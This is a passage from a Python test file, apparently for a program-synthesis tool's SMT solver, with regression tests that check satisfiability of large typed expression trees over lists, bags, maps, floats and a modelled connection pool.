EListGet(EStateVar(EFilter(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '<', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TBool()))).with_type(TList(TFloat()))).with_type(TList(TFloat())), ENum(1).with_type(TInt())).with_type(TFloat()), EStateVar(EUnaryOp('the', EFilter(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '<', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TBool()))).with_type(TList(TFloat()))).with_type(TFloat())).with_type(TFloat())).with_type(TFloat()), EStateVar(EUnaryOp('the', EFilter(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '<', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TBool()))).with_type(TList(TFloat()))).with_type(TFloat())).with_type(TFloat())).with_type(TFloat())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('xs').with_type(TList(TFloat())), EVar('dropped').with_type(TInt()), EVar('isDropped').with_type(TBool())]), collection_depth=4, validate_model=True)
def test_listget_regression2(self):
satisfy(EUnaryOp('not', EBinOp(EBinOp(EBinOp(EVar('isDropped').with_type(TBool()), '=>', EBinOp(EBinOp(EVar('dropped').with_type(TInt()), '>=', ENum(0).with_type(TInt())).with_type(TBool()), 'and', EBinOp(EVar('dropped').with_type(TInt()), '<', EUnaryOp('len', EVar('xs').with_type(TList(TFloat()))).with_type(TInt())).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'and', EUnaryOp('exists', EVar('xs').with_type(TList(TFloat()))).with_type(TBool())).with_type(TBool()), '=>', EBinOp(EUnaryOp('the', EMap(EBinOp(EStateVar(ECond(EVar('isDropped').with_type(TBool()), EVar('xs').with_type(TList(TFloat())), EEmptyList().with_type(TList(TFloat()))).with_type(TList(TFloat()))).with_type(TList(TFloat())), '-', ESingleton(EStateVar(EListGet(EVar('xs').with_type(TList(TFloat())), EVar('dropped').with_type(TInt())).with_type(TFloat())).with_type(TFloat())).with_type(TList(TFloat()))).with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '+', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TFloat()))).with_type(TList(TFloat()))).with_type(TFloat()), '==', EMapGet(EStateVar(EMakeMap2(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('_key6586').with_type(TFloat()), EVar('_key6586').with_type(TFloat()))).with_type(TMap(TFloat(), TFloat()))).with_type(TMap(TFloat(), TFloat())), EUnaryOp('the', EMap(EBinOp(EStateVar(ECond(EVar('isDropped').with_type(TBool()), EVar('xs').with_type(TList(TFloat())), EEmptyList().with_type(TList(TFloat()))).with_type(TList(TFloat()))).with_type(TList(TFloat())), '-', ESingleton(EStateVar(EListGet(EVar('xs').with_type(TList(TFloat())), EVar('dropped').with_type(TInt())).with_type(TFloat())).with_type(TFloat())).with_type(TList(TFloat()))).with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '+', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TFloat()))).with_type(TList(TFloat()))).with_type(TFloat())).with_type(TFloat())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('xs').with_type(TList(TFloat())), EVar('dropped').with_type(TInt()), EVar('isDropped').with_type(TBool())]), collection_depth=4, validate_model=True)
def test_listget_regression3(self):
satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBool(True).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EVar('l').with_type(TList(TNative('Object'))), '==', EDropFront(EBinOp(EVar('l').with_type(TList(TNative('Object'))), '+', ESingleton(EListGet(EVar('l').with_type(TList(TNative('Object'))), ENum(0).with_type(TInt())).with_type(TNative('Object'))).with_type(TList(TNative('Object')))).with_type(TList(TNative('Object')))).with_type(TList(TNative('Object')))).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('l').with_type(TList(TNative('Object')))]), collection_depth=2, validate_model=True)
def test_var_under_estatevar(self):
# wow, very tricky!
# EStateVar(...) needs to be "separable" from the parent, so bound vars
# get cleared. Thus, if EStateVar(x) appears somewhere, then `x` is
# is free, even if it appears in e.g. \x -> EStateVar(x).
x = EVar("x").with_type(INT)
e = EUnaryOp(UOp.Exists, EFilter(ESingleton(ONE), ELambda(x, EStateVar(EEq(x, ZERO)))))
print(pprint(e))
assert retypecheck(e)
model = satisfy(e, validate_model=True)
print(model)
assert model is not None
def test_regression18(self):
satisfy(ELet(EMakeMap2(EVar('xs').with_type(TBag(THandle('T', TNative('X')))), ELambda(EVar('_var1022').with_type(THandle('T', TNative('X'))), EUnaryOp('distinct', EMap(EVar('xs').with_type(TBag(THandle('T', TNative('X')))), ELambda(EVar('_var1021').with_type(THandle('T', TNative('X'))), EGetField(EVar('_var1022').with_type(THandle('T', TNative('X'))), 'val').with_type(TNative('X')))).with_type(TBag(TNative('X')))).with_type(TBag(TNative('X'))))).with_type(TMap(THandle('T', TNative('X')), TBag(TNative('X')))), ELambda(EVar('_var4063977').with_type(TMap(THandle('T', TNative('X')), TBag(TNative('X')))), ELet(EVar('xs').with_type(TBag(THandle('T', TNative('X')))), ELambda(EVar('_var4063972').with_type(TBag(THandle('T', TNative('X')))), EUnaryOp('not', EBinOp(EUnaryOp('not', EBool(True).with_type(TBool())).with_type(TBool()), 'or', EUnaryOp('not', EBinOp(EUnaryOp('len', EFilter(EFlatMap(EVar('_var4063972').with_type(TBag(THandle('T', TNative('X')))), ELambda(EVar('_var1022').with_type(THandle('T', TNative('X'))), EMapGet(EVar('_var4063977').with_type(TMap(THandle('T', TNative('X')), TBag(TNative('X')))), EVar('_var1021').with_type(THandle('T', TNative('X')))).with_type(TBag(TNative('X'))))).with_type(TBag(TNative('X'))), ELambda(EVar('_var0').with_type(TNative('X')), EBinOp(EVar('_var0').with_type(TNative('X')), '==', EVar('_var4063963').with_type(TNative('X'))).with_type(TBool()))).with_type(TBag(TNative('X')))).with_type(TInt()), '>', EUnaryOp('len', EFilter(EUnaryOp('distinct', EMap(EVar('xs').with_type(TBag(THandle('T', TNative('X')))), ELambda(EVar('_var1021').with_type(THandle('T', TNative('X'))), EGetField(EVar('_var1021').with_type(THandle('T', TNative('X'))), 'val').with_type(TNative('X')))).with_type(TBag(TNative('X')))).with_type(TBag(TNative('X'))), ELambda(EVar('_var0').with_type(TNative('X')), EBinOp(EVar('_var0').with_type(TNative('X')), '==', EVar('_var4063963').with_type(TNative('X'))).with_type(TBool()))).with_type(TBag(TNative('X')))).with_type(TInt())).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TBool()))).with_type(TBool()), vars=OrderedSet([EVar('xs').with_type(TBag(THandle('T', TNative('X')))), EVar('_var1021').with_type(THandle('T', TNative('X'))), EVar('_var4063963').with_type(TNative('X'))]), collection_depth=3, validate_model=True)
def test_floats(self):
x = EVar("x").with_type(FLOAT)
y = EVar("y").with_type(FLOAT)
z = EVar("z").with_type(FLOAT)
for op in ("+", "-", "*"):
e = EEq(EBinOp(x, op, y).with_type(FLOAT), z)
check_encoding(e)
def test_float_constants(self):
x = EVar("x").with_type(FLOAT)
a = EVar("a").with_type(FLOAT)
b = EVar("b").with_type(FLOAT)
c = EVar("c").with_type(FLOAT)
zero = ENum(0.0).with_type(FLOAT)
one = ENum(1.0).with_type(FLOAT)
n1 = ENum(6.0).with_type(FLOAT)
n2 = ENum(-13685.0).with_type(FLOAT)
e = EAll([
EEq(EBinOp(x, "*", n1).with_type(FLOAT), n2),
EEq(ECall("f", (EBinOp(x, "+", one).with_type(FLOAT),)).with_type(FLOAT), one),
EEq(ECall("f", (a,)).with_type(FLOAT), zero),
EEq(ECall("f", (b,)).with_type(FLOAT), zero),
EEq(ECall("f", (c,)).with_type(FLOAT), zero),
])
print(satisfy(e, validate_model=True))
def test_regression19(self):
e = ELet(EVar('xs').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_tmp1008014').with_type(TBag(THandle('H', TNative('Value')))), ELet(EMakeMap2(EMap(EVar('_tmp1008014').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var1012').with_type(THandle('H', TNative('Value'))), EGetField(EVar('_var1012').with_type(THandle('H', TNative('Value'))), 'val').with_type(TNative('Value')))).with_type(TBag(TNative('Value'))), ELambda(EVar('_var1009').with_type(TNative('Value')), EEmptyList().with_type(TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), ELambda(EVar('_tmp1008019').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), ELet(EFlatMap(EVar('_tmp1008014').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var1012').with_type(THandle('H', TNative('Value'))), ESingleton(EVar('_var1012').with_type(THandle('H', TNative('Value')))).with_type(TBag(THandle('H', TNative('Value')))))).with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_tmp1008026').with_type(TBag(THandle('H', TNative('Value')))), ELet(EVar('_var1008010').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), ELambda(EVar('_tmp1008048').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), ELet(EVar('_tmp1008014').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var1008013').with_type(TBag(THandle('H', TNative('Value')))), ELet(EMap(EVar('_tmp1008014').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var1012').with_type(THandle('H', TNative('Value'))), EVar('_tmp1008019').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))))).with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))), ELambda(EVar('_var1008012').with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))), ELet(EVar('_tmp1008019').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), ELambda(EVar('_var1008011').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), ELet(EMapKeys(EVar('_var1008011').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TBag(TNative('Value'))), ELambda(EVar('_tmp1008044').with_type(TBag(TNative('Value'))), EUnaryOp('not', EBinOp(EUnaryOp('not', EBinOp(EUnaryOp('unique', EVar('_tmp1008014').with_type(TBag(THandle('H', TNative('Value'))))).with_type(TBool()), 'and', EUnaryOp('all', EMap(EVar('_tmp1008026').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var1012').with_type(THandle('H', TNative('Value'))), ELet(EVar('_var1012').with_type(THandle('H', TNative('Value'))), ELambda(EVar('_tmp1008029').with_type(THandle('H', TNative('Value'))), EUnaryOp('all', EMap(EVar('_tmp1008026').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var1013').with_type(THandle('H', TNative('Value'))), ELet(EVar('_var1013').with_type(THandle('H', TNative('Value'))), ELambda(EVar('_tmp1008030').with_type(THandle('H', TNative('Value'))), EBinOp(EUnaryOp('not', EBinOp(EVar('_tmp1008029').with_type(THandle('H', TNative('Value'))), '==', EVar('_tmp1008030').with_type(THandle('H', TNative('Value')))).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EGetField(EVar('_tmp1008029').with_type(THandle('H', TNative('Value'))), 'val').with_type(TNative('Value')), '==', EGetField(EVar('_tmp1008030').with_type(THandle('H', TNative('Value'))), 'val').with_type(TNative('Value'))).with_type(TBool())).with_type(TBool()))).with_type(TBool()))).with_type(TBag(TBool()))).with_type(TBool()))).with_type(TBool()))).with_type(TBag(TBool()))).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'or', EUnaryOp('not', EBinOp(EUnaryOp('len', EFilter(EFlatMap(EVar('_tmp1008044').with_type(TBag(TNative('Value'))), ELambda(EVar('_var1009').with_type(TNative('Value')), EVar('_var1008012').with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))))).with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))), ELambda(EVar('_var0').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), EBinOp(EVar('_var0').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), '==', EVar('_tmp1008048').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TBool()))).with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))))).with_type(TInt()), '>', EUnaryOp('len', EFilter(EFlatMap(EVar('_var1008013').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var1012').with_type(THandle('H', TNative('Value'))), EMap(EVar('_tmp1008044').with_type(TBag(TNative('Value'))), ELambda(EVar('_var1009').with_type(TNative('Value')), EMakeMap2(EEmptyList().with_type(TBag(TNative('Value'))), ELambda(EVar('_var1009').with_type(TNative('Value')), EEmptyList().with_type(TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))))).with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))))).with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))), ELambda(EVar('_var0').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), EBinOp(EVar('_var0').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), '==', EVar('_tmp1008048').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TBool()))).with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))))).with_type(TInt())).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TBool()))).with_type(TBool()))).with_type(TBool()))).with_type(TBool()))).with_type(TBool()))).with_type(TBool()))).with_type(TBool()))).with_type(TBool())
satisfy(e, vars=OrderedSet([EVar('xs').with_type(TBag(THandle('H', TNative('Value')))), EVar('_var1008010').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))]), collection_depth=3, validate_model=True)
def test_regression20(self):
e = EUnaryOp('not', EBinOp(EUnaryOp('not', EBinOp(EUnaryOp('unique', EVar('xs').with_type(TBag(THandle('H', TNative('Value'))))).with_type(TBool()), 'and', EUnaryOp('all', EMap(EFlatMap(EVar('xs').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var861').with_type(THandle('H', TNative('Value'))), ESingleton(EVar('_var861').with_type(THandle('H', TNative('Value')))).with_type(TBag(THandle('H', TNative('Value')))))).with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var861').with_type(THandle('H', TNative('Value'))), EUnaryOp('all', EMap(EFlatMap(EVar('xs').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var861').with_type(THandle('H', TNative('Value'))), ESingleton(EVar('_var861').with_type(THandle('H', TNative('Value')))).with_type(TBag(THandle('H', TNative('Value')))))).with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var862').with_type(THandle('H', TNative('Value'))), EBinOp(EUnaryOp('not', EBinOp(EVar('_var861').with_type(THandle('H', TNative('Value'))), '==', EVar('_var862').with_type(THandle('H', TNative('Value')))).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EGetField(EVar('_var861').with_type(THandle('H', TNative('Value'))), 'val').with_type(TNative('Value')), '==', EGetField(EVar('_var862').with_type(THandle('H', TNative('Value'))), 'val').with_type(TNative('Value'))).with_type(TBool())).with_type(TBool()))).with_type(TBag(TBool()))).with_type(TBool()))).with_type(TBag(TBool()))).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'or', EUnaryOp('not', EBinOp(EUnaryOp('len', EFilter(EFlatMap(EMapKeys(EStateVar(EMakeMap2(EMap(EVar('xs').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var861').with_type(THandle('H', TNative('Value'))), EGetField(EVar('_var861').with_type(THandle('H', TNative('Value'))), 'val').with_type(TNative('Value')))).with_type(TBag(TNative('Value'))), ELambda(EVar('_var858').with_type(TNative('Value')), EEmptyList().with_type(TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TBag(TNative('Value'))), ELambda(EVar('_var858').with_type(TNative('Value')), EMap(EMapKeys(EStateVar(EMakeMap2(EMap(EVar('xs').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var861').with_type(THandle('H', TNative('Value'))), EGetField(EVar('_var861').with_type(THandle('H', TNative('Value'))), 'val').with_type(TNative('Value')))).with_type(TBag(TNative('Value'))), ELambda(EVar('_var858').with_type(TNative('Value')), EEmptyList().with_type(TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TBag(TNative('Value'))), ELambda(EVar('_var858').with_type(TNative('Value')), EStateVar(EMakeMap2(EMap(EVar('xs').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var861').with_type(THandle('H', TNative('Value'))), EGetField(EVar('_var861').with_type(THandle('H', TNative('Value'))), 'val').with_type(TNative('Value')))).with_type(TBag(TNative('Value'))), ELambda(EVar('_var858').with_type(TNative('Value')), EEmptyList().with_type(TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))))).with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))))).with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))), ELambda(EVar('_var0').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), EBinOp(EVar('_var0').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), '==', EVar('_var3546165').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TBool()))).with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))))).with_type(TInt()), '>', EUnaryOp('len', EFilter(EFlatMap(EMapKeys(EStateVar(EMakeMap2(EMap(EVar('xs').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var861').with_type(THandle('H', TNative('Value'))), EGetField(EVar('_var861').with_type(THandle('H', TNative('Value'))), 'val').with_type(TNative('Value')))).with_type(TBag(TNative('Value'))), ELambda(EVar('_var858').with_type(TNative('Value')), EEmptyList().with_type(TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TBag(TNative('Value'))), ELambda(EVar('_var858').with_type(TNative('Value')), EMap(EMapKeys(EStateVar(EMakeMap2(EMap(EVar('xs').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var861').with_type(THandle('H', TNative('Value'))), EGetField(EVar('_var861').with_type(THandle('H', TNative('Value'))), 'val').with_type(TNative('Value')))).with_type(TBag(TNative('Value'))), ELambda(EVar('_var858').with_type(TNative('Value')), EEmptyList().with_type(TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TBag(TNative('Value'))), ELambda(EVar('_var858').with_type(TNative('Value')), EMakeMap2(EEmptyList().with_type(TBag(TNative('Value'))), ELambda(EVar('_var858').with_type(TNative('Value')), EEmptyList().with_type(TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))))).with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))))).with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))), ELambda(EVar('_var0').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), EBinOp(EVar('_var0').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), '==', EVar('_var3546165').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TBool()))).with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))))).with_type(TInt())).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool())
satisfy(e, vars=OrderedSet([EVar('xs').with_type(TBag(THandle('H', TNative('Value')))), EVar('_var3546165').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))]), collection_depth=3, validate_model=True)
def test_incremental_solver(self):
s = IncrementalSolver()
e1 = EVar("x").with_type(BOOL)
e2 = EEq(EVar("x").with_type(INT), ZERO)
s.satisfy(e1)
s.satisfy(e2)
s.satisfy(e1)
def test_regression21(self):
e = EBinOp(EMakeMinHeap(EVar('xs'), ELambda(EVar('x'), EVar('x'))), '==', EMakeMinHeap(EBinOp(EVar('xs'), '+', ESingleton(EVar('i'))), ELambda(EVar('x'), EVar('x'))))
assert retypecheck(e, env={"xs": TBag(TNative("T")), "i": TNative("T")})
assert not satisfiable(e, validate_model=True)
def test_regression22(self):
e = EUnaryOp('not', EBinOp(EMapGet(EStateVar(EMakeMap2(EMap(EVar('reqs').with_type(TBag(THandle('Request', TRecord((('rq_expiration', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('std::unique_ptr<ConnectionPool::GetConnectionCallback>'))))))), ELambda(EVar('_var1780').with_type(THandle('Request', TRecord((('rq_expiration', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('std::unique_ptr<ConnectionPool::GetConnectionCallback>')))))), EGetField(EGetField(EVar('_var1780').with_type(THandle('Request', TRecord((('rq_expiration', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('std::unique_ptr<ConnectionPool::GetConnectionCallback>')))))), 'val').with_type(TRecord((('rq_expiration', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('std::unique_ptr<ConnectionPool::GetConnectionCallback>'))))), 'rq_host').with_type(TNative('HostAndPort')))).with_type(TBag(TNative('HostAndPort'))), ELambda(EVar('_var1778').with_type(TNative('HostAndPort')), EMapGet(EMakeMap2(EMap(EVar('conns').with_type(TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))), ELambda(EVar('_var944').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), EGetField(EGetField(EVar('_var944').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), 'val').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('HostAndPort')))).with_type(TBag(TNative('HostAndPort'))), ELambda(EVar('_var943').with_type(TNative('HostAndPort')), EFilter(EVar('conns').with_type(TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))), ELambda(EVar('c').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), EBinOp(EBinOp(EGetField(EGetField(EVar('c').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), 'val').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('HostAndPort')), '==', EVar('_var943').with_type(TNative('HostAndPort'))).with_type(TBool()), 'and', EBinOp(EGetField(EGetField(EVar('c').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), 'val').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_state').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), '==', EEnumEntry('READY').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))).with_type(TBool())).with_type(TBool()))).with_type(TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))))).with_type(TMap(TNative('HostAndPort'), TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))))), EVar('_var1778').with_type(TNative('HostAndPort'))).with_type(TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))))).with_type(TMap(TNative('HostAndPort'), TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))))).with_type(TMap(TNative('HostAndPort'), TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))))), EVar('p').with_type(TNative('HostAndPort'))).with_type(TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))), '===', EMapGet(EStateVar(EMakeMap2(EMap(EVar('reqs').with_type(TBag(THandle('Request', TRecord((('rq_expiration', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), 